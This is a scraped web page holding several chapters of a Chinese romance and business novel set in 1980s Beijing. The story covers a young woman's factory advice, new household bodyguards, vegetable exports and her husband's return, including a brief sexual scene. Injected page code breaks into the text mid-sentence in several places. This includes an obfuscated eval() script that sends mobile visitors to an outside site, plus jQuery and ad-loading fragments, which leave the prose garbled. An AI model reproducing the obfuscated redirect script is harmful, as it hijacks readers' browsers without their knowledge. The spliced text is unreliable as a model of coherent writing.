京城现在还没有正规的出租车,但是各大车站门口已经有揽客、拉客的私人汽车了,中高低档都有:低档的就是三轮蹦蹦,这种去不了远处,价格也便宜,五毛一块都有;中档的是七座面包车,一个人一块,人满出发;高档一点的就是小轿车了,一般是一人两块钱,也是人满出发。 其实,不论是中高低档,都是黑车,没有上税的。 符伊年挑了辆白色的、看起来比较干净的车子,司机看着也比较老实,上了车,报了地名,司机一听,就知道地点,“同志姓祝?” 符伊年心里诧异,但还是摇头,“我不姓祝。”我真不姓,我姓符。 司机看出了符伊年的戒备和冷淡,笑了一下,解释似的说:“我是后面胡同的,我媳妇开了个小卖部。” 他这样一说,符伊年就知道是谁家了,很是惊异,这才几年啊,他们家居然就能买得起小轿车了,“这车多少钱啊?” “两万五,”司机笑着说,“别人买可能费点劲,你家买没问题。” 符伊年笑起来,“我家买也费劲啊,且得攒呢。” 司机不相信,那么大个四合院都买下来了,买车还费劲? 虽然是卧铺睡着回来的,但是卧铺到底又窄又硬,睡得并不舒服,所以符伊年到家吃了点早餐就去睡了。 这一觉就睡到了上午十点多,被姑婆喊醒,“有个夏先生过来找你,在一进院等呢,要不要去见?” 符伊年一开始还没想起来“夏先生”是谁,反应了一下才记起来,是“康舒”厂的总经理——“康舒”就是生产“护尔舒”卫生巾的厂家,以后后面可能还会推出别的产品,比如纸尿裤、安心裤之类的。 “哦,好的。”符伊年一边应着一边起身,先去洗了脸,然后换了件毛衣和牛仔裤,又把头发扎好,这才出门去前院去见夏卓。 自从将辣条秘方卖出去,前院原本的辣条生产间也就用不着了,一些生产机器被符伊年处理掉后,改成了待客院。 正房正厅设置成了待客厅,东屋则布置成了书房,西屋是休息间,床和床上用品、沙发茶几、桌椅书架等家具一应买齐。 符伊年到的时候,夏卓坐在右侧的单人沙发上,面前是一杯白水,从符伊年的角度看起来,夏卓心情似乎不怎么样,面容沉郁,似乎在为了什么发愁。 “夏先生。”符伊年走进客厅,“上午好。” 夏卓闻声站了起来,伸手同她握手,“符同志,上午好。” 听到这个称呼,符伊年想到之前他喊自己“符小姐”,心里笑了笑,看来在华国大陆待久了夏卓也入乡随俗起来了。不过,用不了多久,这个称呼就要变回去了大概。 “夏先生这次过来,可是有什么事?”符伊年和夏卓没什么好寒暄的,直接开门见山地问。 夏卓过来还真是有点事,“上次听了您的建议,‘三·八妇女节’的促销活动搞得很好,但是结束后就恢复了原状,而且最近销量有下滑的趋势。” “没想些别的办法吗?”符伊年问到,她想先听听他们想的办法。 夏卓说,他们也想了几种办法:发传单、送试用装、买正装送赠品,“也拍了电视广告,就是一时半会还播不了。” “表哥怎么说?”符伊年平时不怎么插手工厂的生产经营,上次妇女节是符伊年和柳旻聊天时无意说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737507|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口的。 “柳先生觉得对华国大陆,您了解更多,让我来询问您和您家长辈的意见。”夏卓其实不明白柳先生这是什么意思,当初建厂时不是说好了按出资比例分配,符同志不参与生产经营的吗? 符伊年却很快就明白了柳旻的意思:问她只是个幌子,更多是想借祝家圈子、人脉的便利吧。 不得不说,柳旻的想法其实没有错。华国推行改革开放,实行社会主义市场经济,但是依然有着自己的生存之道。 符伊年沉吟半晌,“你回去跟表哥说,就说我说的:好钢要用在刀刃上。”这就是不同意现在找路子走关系了。 夏卓有些失望。 接着又听见符伊年说:“另外,电视广告先不播出。” 夏卓吃惊,“不播?为什么?” “华国国情和漂亮国不一样,思想现在还没那么开放,大部分人,包括女性本身还有‘月经羞耻’,如此堂而皇之地在电视上播出广告,只怕不会被人接受。” 夏卓虽然是华人,但是从祖父辈起就生活在漂亮国,对华国本土习俗人情了解终归有限,所以符伊年解释的十分清楚。 “再有就是,电视机普及率还比较低,就是京城作为首都,也不是家家有电视的,现在播电视广告,效果未必最佳。” 这下子夏卓就好理解了,“我懂了。”当初符伊年一张方子要卖二十万的时候,夏卓对她的印象实在不怎么样,前一阵子她提、出到妇女节可以搞促销活动时,夏经理对她有所改观了,如今印象更好了。 “别的……”符伊年觉得,现在销量停滞甚至下滑,观念和价格是一个方面,没有固定客源也是一个方面,她想到了后世常用的聘请“代言人”和“产品大使”等手段。 “这样,你们去体育局问问,我们给女运动员免费提供一整年的产品,请她们帮忙拍个广告,到时候在电台、报纸上刊登出来。”符伊年顿了顿,“如果你们不行,我再替你找门路。” “这个好,”夏卓一拍大腿,“虽然免费提供一年的产品有点多,但是以后这就是固定客源了。”女性运动员可不少呢,而且,有电视的人家少,但是听收音机的人多啊,看报纸的就更多了。 “我再给你出个主意,你聘请两个退休妇科女医生,去单位、工厂、大学等地方义诊、免费开讲座,凡是来参加的免费赠送卫生巾,也不用多,两三片那种小包装就行了。” 夏卓对符伊年越加佩服了。他负责管理“康舒”,也对女性卫生用品做过调查和了解,知道一个女性一个月经期一般要用十片左右的卫生巾。 两三片只能用一两天,当赠品用完,再用那些月事带、卫生纸,使用对比就很明显了,再加上之前宣传的妇科知识,估计至少有一半的女性员工回继续购买、使用卫生巾,另外一半嘛,要么因为经济原因放弃,要么回去购买另外一家——年初的市场调查显示,京城如今的卫生巾品牌只有自家和XX家两种。 送走了夏卓,符伊年回到二进院,发现姑婆正在院子里踱步,见到她回来,欲言又止。 符伊年发觉了,主动问道:“姑婆,怎么了?出了什么事?”不会是祝镕有什么消息吧? 姑婆思忖了一下,像是下定决心似的,说:“年年,姑婆求你一件事。” 131. 往事 第一三一章 符伊年把夏先生送走,把剩下的半杯茶水喝完,再将玻璃杯洗干净,这才返回后院。 一进院子,就看到姑婆在院子中间踱步,脸上还带着忧愁的表情,听见动静,抬头看向符伊年,嘴巴动了一下,欲言又止。 “姑婆,怎么了?”符伊年关切第问,“出什么事了吗?” 姑婆下意识第说到“没事”,顿了下,又反口说“有点事”。 符伊年心里“咯噔”一下子,姑婆这个表情,该不会是祝镕出什么事了吧? 然后就听到姑婆说:年年,姑婆求你个事。 符伊年一愣,接着长舒一口气,不是祝镕有事就好。 符伊年上前握住姑婆的手,“说什么求不求的,姑婆有吩咐直接说,只要我能做的,我尽力都去做。” 符伊年这话并不是客气,她是真这么想的。姑婆是祝军长的姑姑,但是从来不摆长辈的架子,非常可亲,而且对符伊年很很不错,平时操持家里非常用心,打理的井井有条。 姑婆被符伊年拉进正厅按到沙发上坐下,“因为我知道这事儿有点强人所难,可是,”姑婆长叹一口气,“不跟你说,就得跟你爸你妈说,他们俩安排这事儿,影响不好。” 符伊年更奇怪了,到底是什么事啊,让姑婆这么为难,连跟爸爸妈妈说都不肯。 原来,在符伊年接待夏卓的时候,姑婆接了一通电话,她老家有个侄子,叫方大河,是她小叔子的儿子。姑婆丈夫病逝后,两家就不怎么走动了。这个侄子之前当兵来着,因为没考上军校退伍了,退伍后在镇上铁矿当临时工,结果下矿的出了事故,砸断了腿。 说到这里,姑婆叹一口气,“小地方医疗条件不好,瘸了,临时工就干不了了,原来说好要结婚对象也黄了。” “没有工作,又下不了田,正好同村有人要去深圳打工,他就跟人去了,结果火车上被人偷了钱。” 符伊年听了不禁咂舌,这也忒倒霉了些吧。 “本来想着钱被偷了就偷了,老乡介绍了工作的,有了工作就有了钱,结果发现这几个老乡骗人的,根本没有什么工作,就是让他们装成残疾人去大街上乞讨。” 符伊年瞪大了眼睛,原来这么早就有职业乞丐了啊。 “那现在怎么办呢?”符伊年问。 姑婆的侄子到底是多娘受了党和部队教导的人,不肯做这种昧良心的事,可是他又没有钱买票回家,想了想就去当地派出所,派出所说可以给他买票,但是他不想回家,觉得丢人,就打电话给给了姑婆,想上京城来找事做。 “我也知道,他来京城说是找事做,最终还是得麻烦你爸,可是当初因为我的事,两家闹翻了,我不好跟你爸张嘴,再说,就算你爸乐意管,又怕大河怕丢人不肯。” 说到这里,符伊年好奇起来,姑婆是祝军长的姑姑,那祝军长就是是侄子,这方大河也是侄子,可是怎么听起来好像很年轻的样子。 “是很年轻,我男人是长子,大河他爹是老来子,差了二十多岁,”对于符伊年的疑问,姑婆解释道,“大河今年二十五。” 符伊年捋了捋这其中的辈分,有点囧:这方大河比祝镕还小了五岁,却和祝军长是一个辈分的,自己得管人家叫叔叔呢。 姑婆现在的意思是,方大河不想回家,在南方一个残疾人又举目无亲,到京城来又不愿意麻烦祝军长,“我知道你不怎么管厂子里的事,可是我也想不出别的法子了。” 符伊年确实不怎么管厂里的人事和生产经营,不过安排一个人进去工作还是没问题,不过有些话得问清楚了。 “这个方叔叔……”符伊年哽了一下,怎么这么别扭呢? 姑婆也察觉到了她的别扭,直接说让她喊名字就行了。 符伊年自然答应下来,然后问出心中的疑问,“您之前说祝方两家闹翻了,那他会接受咱们帮助吗?”说到底厂子虽然没有祝家的名字,但也脱离不了关系。 “也不算闹翻吧,”姑婆年纪大了,并没有觉得不能说的,“当初两家之所以闹翻,其实是为了我。二十年前,因为干旱粮食欠收,一般人家都吃不饱饭,你爸寄了点口粮给我哥,我哥又分了些给我,结果我婆婆把粮食都给儿子和孙子了,我们几个儿媳都没得吃。” 符伊年听到姑婆说二十年前,就知道是什么时候了,当时全国都粮食紧缺,别说普通人家,就是科学家们也勒紧了裤腰带。祝军长寄过去的口粮估计也是省下来的。 等再听到说她婆婆把粮食给了儿孙竟然不给媳妇,尤其这粮食还是靠姑婆的关系才得来的,竟然不给姑婆吃,很是气愤,“怎么能这样!这是爷爷给姑婆的粮食!”接着又好奇,“那没有粮食你们吃什么啊?” “吃野菜吃树皮,有时候吃糠,”姑婆倒是很平静,“粮食被老太婆拿去了,结果放着放着,发霉了。” 符伊年一愣,她隐约猜到了事情的发展趋势——粮食发霉可是能吃死人的。 果然,“吃完就不好了,当时又缺医少药的,人就没救过来,当时方家的人就说都是因为吃了我带回去的粮食才把人吃死的,怀疑我下毒,就要打死我。” 符伊年瞠目结舌,她知道在有些封闭的乡村,思想封建、习俗陈旧,经常会有些不合法不合规的事情,但是没想到竟然会到这种程度 还有,“他们怎么这么大胆!这,这可是草菅人命!”符伊年既气愤又奇怪,“他们不怕我们祝家去找吗?爸爸可是在部队呢。”二十年前,祝军长最低也是个连长,按说职级不小了。 “小地方,认的是‘嫁出去的闺女泼出去的水’,婆家能定生死的。”姑婆表情淡淡的。 “那后来怎么逃出来的?”肯定是逃出来活下来了啊,不然能好好的坐在这里和自己聊天嘛。 “是大河,他才五岁,那孩子是知道感恩的好孩子,当时因为说要打死我,但是也有人惧怕你爸,说不行,还在商量呢,大河知道了,就骑上大队的毛驴,跑到十几里地外去找了我哥,也就是祝镕爷爷。” 祝爷爷听说自己给妹子的粮食被人吃了她却吃不着,他们吃死了却要打死他妹妹,当即招呼了全村的人去了方家所在的村子,把姑婆给带回家去了。 听到这里,符伊年明白为什么姑婆要管方大河的事了,这可是救命之恩,不说涌泉相报吧,帮忙搞定份工作是应该的。 “姑婆放心,交给我吧,只要他乐意,我一定给 () { $(''.inform'').remove(); $(''#content'').append('' 安排好,”不过说到这里,符伊年顿了一下,“就是工作岗位一开始可能要从底层做起。” 姑婆连连摆手表示没问题,“只要让他有个事做、能养活自己就好。” 既然答应了姑婆,符伊年就去同夏卓打了招呼,把方大河的个人信息介绍了一边,让他派人去火车站接人,然后带人会工厂安排个宿舍住下,“他的腿有点残疾,不用特别照顾,按照他的能力安排个工作就行。” 夏卓没有多问,符伊年既然是第二大股东,安排一个人进厂工作自然是没问题的,尤其是她展示过她在经商上的才能。 说到安排人进厂工作,夏卓想到另外一件事,“最近治安越来越差了,这个月已经遭了两回贼了。” “没有人员伤亡吧?”符伊年顾不上财物,只关心工人。 “暂时没有,我只担心这种情况越演越烈。”夏卓提出他和柳旻商议的结果,“想多招几个保安。” 符伊年当然不会反对,不过她眼睛转了转,对夏卓说先不用急着招人,“我来办这件事。” 夏卓下意识地问:“您到底有多少个亲戚哪?” “没了!”符伊年没好气地说,“就算再有以后也会让走正规流程的。”为了不让夏卓和柳旻误会,符伊年决定解释清楚,“我打算问问我公爹,看他们的退伍兵要不要来咱们厂工作。” 夏卓眼睛一亮,“这个好这个好,当兵的有组织有纪律,身体素质还好。” 符伊年就是一个意思。 所以晚上祝军长回来后,符伊年就吧这件事同他说了。祝军长一听,立即一拍大腿,“这是好事啊,别说五个退伍兵,五十个我都能给你找来。” “暂时用不上那么多,”符伊年笑着说,“等啥时候扩大生产规模,或者开了分厂,再请爸爸多帮我找几个。” 祝军长本来还想问问她那个厂子的经营状况,现在听她话里的意思,又是扩大生产规模又是要开分厂的,看起来前景很不错。那就不用多问了。 不过,“你说你们厂长说最近治安不好?” “人家那叫经理。”姑婆再一旁纠正他,接着发表自己的见闻,“确实不咋好,我这几天丢了好几回钱了,都是买菜的时候被人摸走的。” “啊?”符伊年很吃惊,“姑婆你怎么不早说啊,咱们好报警。” “一开始钱不多,我就没当回事,第三回就去派出所了,”姑婆当然不是吃亏的主儿,“不过菜市场人多,还没找着。而且暂时也顾不上。” 接着姑婆说了一件更令祝军长吃惊的事,“前天,两条街外的四成胡同,有一个大杂院进贼了,正碰上一个老头起夜,那个贼怕老头喊出来,捂嘴给捂死了。所以现在派出所分不出人手来找小偷,忙着抓那个贼呢。” 听完,祝军长表情十分严肃,“竟然这么严重了。”说完看了眼符伊年。 符伊年立刻明白他的意思,“那爸爸帮忙找两个保镖在家里吧。”四合院三进院子,面积大人却少,尤其第三进到现在还空着呢,虽然围墙上面都扎了玻璃碴,但是并不算安全,还是再雇两个人比较好。 祝军长当然不会反对,第二天下午下班的时候,就带了八个人交给符伊年安排了。 132. 归来 第一三二章 祝军长带回来八个退伍兵,符伊年把夏卓喊来让他挑走了五个,剩下三个符伊年就留下来给自己家当保镖了。 这三个人当中有个退伍女兵,叫钱招娣,和符伊年一样大,剩下两个分别叫赵振华和李九江,赵振华年二十一岁,李九江二十岁,这三个人刚好分别是江浙沪三个地区的。 符伊年将一进院的西厢房挑了一间出来给两个男的做宿舍,让钱招娣住二进院西厢房姑婆隔壁,又在三进院后罩房挑了一间做值班室,然后把四合院的格局和布置跟他们介绍了一下。 符伊年:“我和爸爸说的是每个月工资四十五块,每个月可以轮流休两天,过年可以轮流回家探亲,管吃住,吃就和我们平时一起吃,有问题吗?有的话可以提出来。” 三个人对视一眼,一个月四十五块,比部队津贴多呢,又管吃住,这么好还有啥问题,于是一起摇头,表示没有问题。 “那,老板娘,我们都干啥呀。”李九江问到。 符伊年摆手,“不用叫我老板娘,叫我姐或者嫂子都行,我爱人也是当兵的。” 三个人于是决定称呼她“嫂子”。 “其实没啥,主要就是守卫院子的安全,最近治安不好,你们也看到了,这院子比较大,安全死角比较多,白天还好,晚上防不胜防。” “再有就是平时我们都上班,就姑婆一个人在家,万一有个头疼脑热的,有个人在比较好。”符伊年说了说她得想法,“白天没什么晚上最好有两个人值夜,要不你们排个轮班表吧,包括每个月两天得休息日,也轮流来。” 符伊年把大概的条件和要求说完了,让他们熟悉一下院子,自己就出门去了,结果走了几步,发现自己身后有个影子一直跟着,转身回头看,发现居然是钱招娣。 符伊年惊讶,“你跟着我干嘛?” “嫂子,我得保护你的安全呀。”钱招娣理所当然地说,“军长喊我来的时候就是这么说的,主要负责你和姑婆的安全。” 倒是没提容院长,因为容院长现在的级别组织已经给配了秘书和司机,基本不会有安全问题。 “那你去跟着姑婆啊,”符伊年摆手,“这大白天的,没事。” 钱招娣还是摇头,“姑婆在家有他们俩。” 符伊年还想说什么,钱招娣突然眼神一变,伸手将她拉到自己身后,接着一脚踹向一辆经过的自行车,自行车车速很快,钱招娣只踹到后车轮,车子歪了歪没倒,又走远了。 钱招娣追了两步又停了下来,符伊年还懵着呢,“咋了?” “那人要抢你的包。”钱招娣走回符伊年身边,看了她一眼,那眼神不言而喻。 符伊年无话可说,行吧,跟着吧。看来现在治安真是成问题了,这李可是首都,而且还是白天呢,居然就敢众目睽睽之下动手抢劫。 符伊年出门其实没什么事儿,她现在还在休假中,暂时不用去单位,工厂那里她也不想去,偶尔出个主意刷下存在感就行了,人就不过去了。 符伊年看了看身边跟着的钱招娣,她穿着的是一身军装衣裤,鞋子也是解放胶鞋。这一身走在路上尚在太显眼了,一看就是军人的标配。 “我们去逛街吧,给你买两身衣服。”符伊年对钱招娣说。 钱招娣低头看看自己身上的军装,摇头,“我觉得我这身衣裳挺好。” 符伊年并不反对,甚至还十分赞同,“我也觉得挺好,但是可能不太合时宜。” 毕竟她已经从军营离开了,周围的年轻姑娘穿得都很时髦,一身军装实在太打眼了。 好在钱招娣不是不知变通的人,稍微想了想就同意了,“不过,我自己付钱。” 周一,符伊年重新回去办公室上班,发现办公室少了一个人,仔细打量了一番,竟然是李姐没有在,而且桌上的水杯、台历什么的也都不见了。 符伊年很奇怪,低声同办公室的另外一个同事询问,“李姐调走啦?” 同事点头,“后勤一个副科长退休了,她年纪差不多,加上这一两年表现不错,这不今年的‘学雷锋’又是她,组织上考察一番就调上去了。”同事一边说还一边冲符伊年挤眼睛。 符伊年愣了一下才明白同事的意思,有些啼笑皆非,“还是内因起作用。” 同事一脸“我懂”的表情,“嗯嗯,对,内因起作用。” 办公室少了一个人,自然就要再来一个。一周之后,新同事到来。来得还不是别人,正是金苓。 符伊年先是惊讶,再是惊喜,新同事是自己熟悉的人,当然很好啊。而且符伊年发现了,整间办公室八个人,出了两个即将到年纪退休的老前辈,剩下的几个人都是参加过“蔬菜出口协作小组”培训的人。 这样看来,这间办公室就要成为“协作小组”的固定办公场所了。 金苓来到的第二天,就有了新任务。基层的种植知道培训基本已经完成,虽然第一茬作物才种下还没成熟,但是并不代表就要一直等着。 京城南部的一个村,因为改革开放和大包干的推行,有农民眼光独到,承包了田地建了一大片的温室大棚,面积有十多亩。种植的菜品刚好都在出口品类目录上。 温室大棚主人原本是联系了当地运输队,想将蔬菜运到寒冷、缺少新鲜蔬菜的东北和西北的,但是当听说可以出口创汇,果断地同意将全部蔬菜卖给了供销公司。 “为国家出口创汇这是大事,”后来在日报上,这样报道大棚主任的,“能为国家做贡献,我骄傲啊。” 因为这则报道,后来又有很多人打电话给报社,说自己有温室大棚,可以供给出口创汇,当然,也省区了他们自己去联系买家的过程。 符伊年她们按照报社提供来的信息,去找到了这些承包农民,结果最终九家有两家入选了。因为只有这两家规模在五亩地以上,蔬菜的种类也是符合的;其他的都是一家只有一两个大棚,规模太小,而且比较分散,清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 理、包装、运输等都不太方便。 不过,符伊年和金苓替他们联系了京津周边的几个大的蔬菜批发市场,帮着批发市场和菜农达成了长期的合作,也算是让他们没有白给报社打一回电话。 直到第一批蔬菜清理包装好、被运去机场装载,符伊年这才算微微松了一口气,接下来就是看航空局和漂亮国那头供销公司的同事们的了。 从采摘、清理、包装到上机,一共用了十一个小时,十三个小时后,第一批蔬菜到达漂亮国西海岸的伯克利的机场,然后从货运飞机转移到供销公司的箱式冷藏货车,货车必须在十二个小时内将几车蔬菜分别运去七个不同的州的不同经销商,如此才保证每包蔬菜在销售时还有至少36个小时。 漂亮国的要求,生鲜食品从采摘到上柜台最多四十个小时,在售时间不超过三十六小时,超过三十六个小时后,如果没卖完,无论是否完好,全部销毁。 为了保证没一包蔬菜都能销售出去,当然要争分夺秒,免得出现变质或者销售不完被销毁的情况。 根据供销公司漂亮国的同事们传回国内的消息,这些蔬菜在上架后十几个小时就已经被销售一空,他们还在电话里催促国内,尽快将第二批蔬菜运出来。 “还用他们说,”符伊年和金苓吐槽,“第一批发出后十个小时第二批就发出了,这个时候都该到漂亮国了吧。” 金苓看看手表,点头,“差不多了。” 两人凑到一起合计了一番,当前这二十多亩的温室大棚的蔬菜,可以供给出口到五月末六月处,等进入六月,非温室的蔬菜也可以采摘了,供销公司在漂亮国的同事差不多也把东部的市场开拓下来了,到时候销量会大大增加。 单价、重量,再刨除一定的损耗,减掉包括给菜农菜钱、路空运输、清理工人工资等在内的成本,得到利润。符伊年和金苓看着纸上的数字,都抬头看向对方。 良久,符伊年感叹道:“国外挣钱国内花,还是比较划算的。” 金苓眨眨眼,表示赞同。 蔬菜出口这里逐渐步入正轨,符伊年和金苓只需要定期去安平县走访、帮扶就行了,甚至不用两人同时过去。 时间来到六月末,符伊年认认真真地写完上半年的工作总结和心得,一共用了五页农林部的制式稿纸,送到领导办公室的时候,领导秘书都惊呆了,“你事怎么做到的?居然能写这么多?”她还是头一次看见有人写这么多呢。 符伊年想了想,笑着道:“可能我话痨吧。” 从领导办公室下楼来,刚好下班铃声响起,符伊年回到办公室的时候,其他人已经走光了。符伊年提着包,慢悠悠地走出办公大楼,今天周六了,明天又可以休息了。 离大门越近,符伊年看得越清楚,大门口停着一辆军绿色的吉普,有点眼熟,不是很确定,走近了再看看。 待走出大门口,符伊年露出一个灿烂的笑容,小跑着过去拉开副驾驶,“你怎么回来啦?” 133. 快乐 第一三三章 符伊年交了五页稿纸的总结和心得体会给领导和组织部。倒不是真因为她是个话痨,实在是她这半年做的事还挺多的。 对外有蔬菜出口,对内有帮着菜农联系到了蔬菜批发市场,还有几户规模更小一些的,她替他们找到了几个大饭店,为他们提供食材。 符伊年其实也打过军区食堂和医院食堂的主意,不过想了想还是放弃了,听说这些地方都是有自己固定的进货渠道的,自己去横插一杠子,既让祝军长和容院长为难,又容易得罪人,于是就算了。 至于心得体会,那能写的可就多了,符伊年前世虽然只是普通员工,但是公司也是要求员工每个月要交一篇心得体会的。 从领导办公室和组织部出来,就到了下班时间。今天本就是这周的最后一天,第二天就要休息,同事们比平时松懈了不少,当然,依然是一下班就走了个精光。 符伊年看着空荡荡的办公室,笑了笑,将半掩的窗户关好锁好,关灯锁门,离开了办公楼。 下楼的时候遇到了几个其他下班的同事,大家互相打着招呼,寒暄着周末的消遣——夏天到了,能游玩的地方和项目多了起来,尤其听说西单那里开了一个新型游乐场,听说有小火车和旋转木马,都想去尝试一下。 问到符伊年,符伊年其实并不想去,这种游乐项目,她早就玩过了,而且实在没什么新意,就想找个借口婉拒。 可是没等她说话呢,就有人笑起来了,“你就多余问她,她爱人回来了,哪有时间和我们玩儿。”其他几个人纷纷露出了心照不宣的暧昧笑容。 符伊年刚想说“他在部队太远回不来”,就顺着同事手指着的方向看去,只见大门外停着一辆军绿色的吉普。 符伊年一愣,嗯,有些眼熟,不是很确定,走近点再仔细看看,等她看到熟悉的车牌,脸上立刻绽放出大大的笑容,回头与同事们摆摆手,朝吉普车的方向小跑着过去了。 “你怎么回来啦!”符伊年语气轻快,一进车子就对上了祝镕的笑脸,还有一捧叫不出名字的花草。 “这什么?”符伊年接过来放在鼻子下面闻了闻,“还挺香的。” 祝镕见她喜欢,笑容更明显,“路上回来遇到一片野地,我看花儿开得挺好,就摘了一把,还行,没蔫。” 符伊年有点无语,伸手捏了捏祝镕的耳朵,“心思值得鼓励,不过,路边的野花不要采啊,知不知道?” 祝镕不解,“为什么,不用花钱还好看,怕破坏环境吗,很大一片野地呢,倒也不用怕。” 符伊年更无语了,心说:这个土老帽! “快,开车,回家吃饭了,饿。”符伊年一边催促祝镕,一边拨弄着手里的花束,有点遗憾现在没有拍照手机,不能拍下来留个纪念。 嗯,家里有照相机,回去用照相机拍下来洗出来好了。 然而,祝镕没有开车回家,反而是带她去了京城最新开业的一家西餐厅。说是西餐厅,更倾向于快餐,主营就是汉堡、披萨、牛排——当然了,白人饭也就这几种了。 祝镕要了两客牛排一个汉堡,一份薯条两个鸡翅,两份可乐。符伊年想到祝镕的饭量,觉得不太够吃,又要了一个披萨。 这些东西花了祝镕大概一百块钱。这个价格,说实话很高了,祝镕一个月工资的三分之一了。不过偶尔为之也还好。 就是,“都是肉啊,难怪外国人那么胖了。”符伊年嘀咕着,接着想到什么似的看向祝镕,“啧”了一声。 祝镕听到动静,从牛排中抬头奇怪地看向她,“怎么了?” “唔,”符伊年想了想,决定直言不讳,不过依然顾及着是公共场合,压低了声音说:“你以后,一定要保持住现在的身材啊。” 祝镕反应了一会儿,才明白符伊年话里的意思,“现在是什么身材?” 符伊年被他问得一顿,瞪了他一眼,低下头继续切牛排,心里却在说:当然是八块腹肌得身材啦! 食物都是易饱腹的,符伊年只吃了一客牛排就饱了,祝镕倒把剩下的都吃完了。从餐厅出来,夜幕低垂,长街两侧路灯昏黄暧昧,隐约地映出路边建筑的形状。 上了车,祝镕没有立即启动车子,而是歪着头看着符伊年笑,笑得符伊年都不好意思了,干脆伸手将他的脸推开,“不要看我。” 祝镕抓住她的手,大拇指在她手背上蹭了蹭,“为什么不让看,我看我老婆还犯法?” “看老婆不犯法,”符伊年把手抽出来,“你再不开车,交警就要让你知道什么是知法犯法了。” 祝镕笑了一声,在她头顶上揉了一把,启动车子,回家去了。 两人回到家,姑婆三人并不奇怪,问了他们吃过没有,得到答案后就让两人回房休息去了。 符伊年答应了一声,却没有立即回房间,而是去找了一只花瓶出来,将祝镕送她得那束花修修剪剪后,插进花瓶里生了起来。 也是因此,她没有注意到祝军长看向祝镕得复杂目光,和父子两人无声的目光交流。 等符伊年将花收拾好,祝镕就拉着她回房去了,甚至没等她和三位长辈道晚安。 “你干嘛?”符伊年被祝镕拉着走,疑惑地问,“我还没和姑婆还有爸爸妈妈说晚安呢!” 虽然她也很想他,可是这样也太明显了。 “我说过了,”祝镕见她磨磨蹭蹭,干脆将人扛了起来,“小别胜新婚,长辈们会理解的。” 符伊年:……你属猴子的吗?这么急。 不过,符伊年确实也很思念祝镕,这种思念,不止在心情和思绪上,身体当然也是一样的。既然已经被人扛起来了,那不如痛痛快快享受好了。 与有情人做快乐事,当然最开心不过了。除了半场时祝镕突然停了下来。 他突然停下,导致符伊年半上不下的,说空虚不空虚说满足又没满足,非常难受,以至于她不得不抬起双腿缠上他的腰,催促他,“别停啊。” 祝镕没动,用气声在她耳边询问:“我的身材怎么样?好不好?” 符伊年难受着,没有多想,只凭着本能“嗯嗯”答应着,“好,好,你快点!” 一场酣畅淋漓的运动结束,符伊年连手指都懒得动,祝镕帮她清理后,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 端了一杯事先晾好的温水过来给她喝掉,符伊年这才感觉自己重新活过来。 祝镕把水杯放在一旁床头柜上,掀开被子躺到她的身边,见她精力尚好,和她聊起天来。 祝镕似乎早就知道了家里添了三个保镖,符伊年跟他说的时候他并不惊奇,只说今天还没见到人,明天他再和三人见一见。 “爸爸找的人有什么不放心的?”符伊年觉得没有必要,再说,都已经好几个月了,有问题早就出了,何必等到他回来才发觉? 但是祝镕坚持,“还是见一见。” 符伊年见他坚持,也就不再反对,转而问起祝镕怎么突然回京来了,“请了探亲假吗?” 祝镕沉默了几秒,“回来有点事,等定下来再和你讲。” 那时候符伊年枕在他的胸前,没看见他晦涩的表情,只以为他回来有公事,自己不方便询问,就停了话头。 一夜安睡,第二天是周日,符伊年依然被闹钟叫醒——都怪祝镕昨晚太猴急,导致她忘记关闭闹钟了。 祝镕已经起床了,身边床铺早就冷了,估计已经出去锻炼了。从符伊年认识祝镕开始,就知道他这个习惯,在部队的话会同官兵一起,不在部队依然保持着每天早上跑十公里的锻炼。 符伊年赖了一会儿床,伸了一个懒腰,正要坐起来,就听到房间门被打开,祝镕走过来凑到床边俯身在符伊年脸颊印下一个吻,“还不起床吗?太阳晒屁股咯。” 符伊年伸出手臂将人推远一些,“走开,一身臭汗!” “真的吗?”祝镕拽着自己的军绿背心闻了闻,突然整个人扑在了符伊年身上,“我臭你也得臭,我们臭味相投!”说着开始在符伊年颈侧和脸旁开始乱蹭。 蹭得符伊年大叫起来,“哎呀你讨厌!走开啦!”语气中是自己都没发觉的娇嗔! 嬉闹了一通,闹得符伊年披头散发气喘连连,祝镕也怕再闹下去情况要失控,赶忙起身顺手将符伊年也拉起来,两人收拾洗漱好,这才重新出了房门。 走到餐厅门口,正遇上钱招娣和李九江出来,两人同他们打招呼,“祝团长早,嫂子早。” 祝镕和符伊年同时点头,“早上好。” 等人走远了,符伊年看向祝镕,“你们见过了?”看起来好像已经很熟悉了。 祝镕点头,“跑步的时候遇上的,俩人见我还立正敬礼,吓了我一跳。”想想当时的场景,祝镕无奈地摇头,“说什么都要称呼我‘祝团长’。” 进了餐厅,祝军长和容院长已经吃完了,正在看报纸,倒是姑婆在慢悠悠地喝粥,一旁柜子上的收录机正在放磁带,一串前奏结束后,甜美的女声开始演唱。 “送你送到小村外,有句话儿要交代,虽然已经是百花开,路边的野花你不要采……” 正在往面包上抹果酱的祝镕猛然转头看向符伊年。 餐桌边坐着的姑婆、祝军长、容院长同时抬头,看了眼祝镕,又将目光转向桌子中间花瓶里插着的那束花,接着若无其事地重新低头,喝粥的喝粥看报纸的看报纸。 符伊年:“这包子真好吃啊,就是没有馅儿。” 134. 心思 第一三四章 这个时期的周末休息日还是只有一天,对于大部分人来说,其实根本休息不到——搞个卫生、洗澡洗头、辅导作业、探望老人、参加婚礼…… 一天就这么过去了。真真正正能休息一天的时候,一个月大概也就能有一次。 符伊年没有上面这些问题的困扰——四合院虽然大,因为姑婆的缘故一直是井然有序的,尤其最近来了三个保镖,更人有人帮忙。 没有孩子用不着辅导作业,长辈们都十分康健,还有自己的事业,根本用不着她操心。 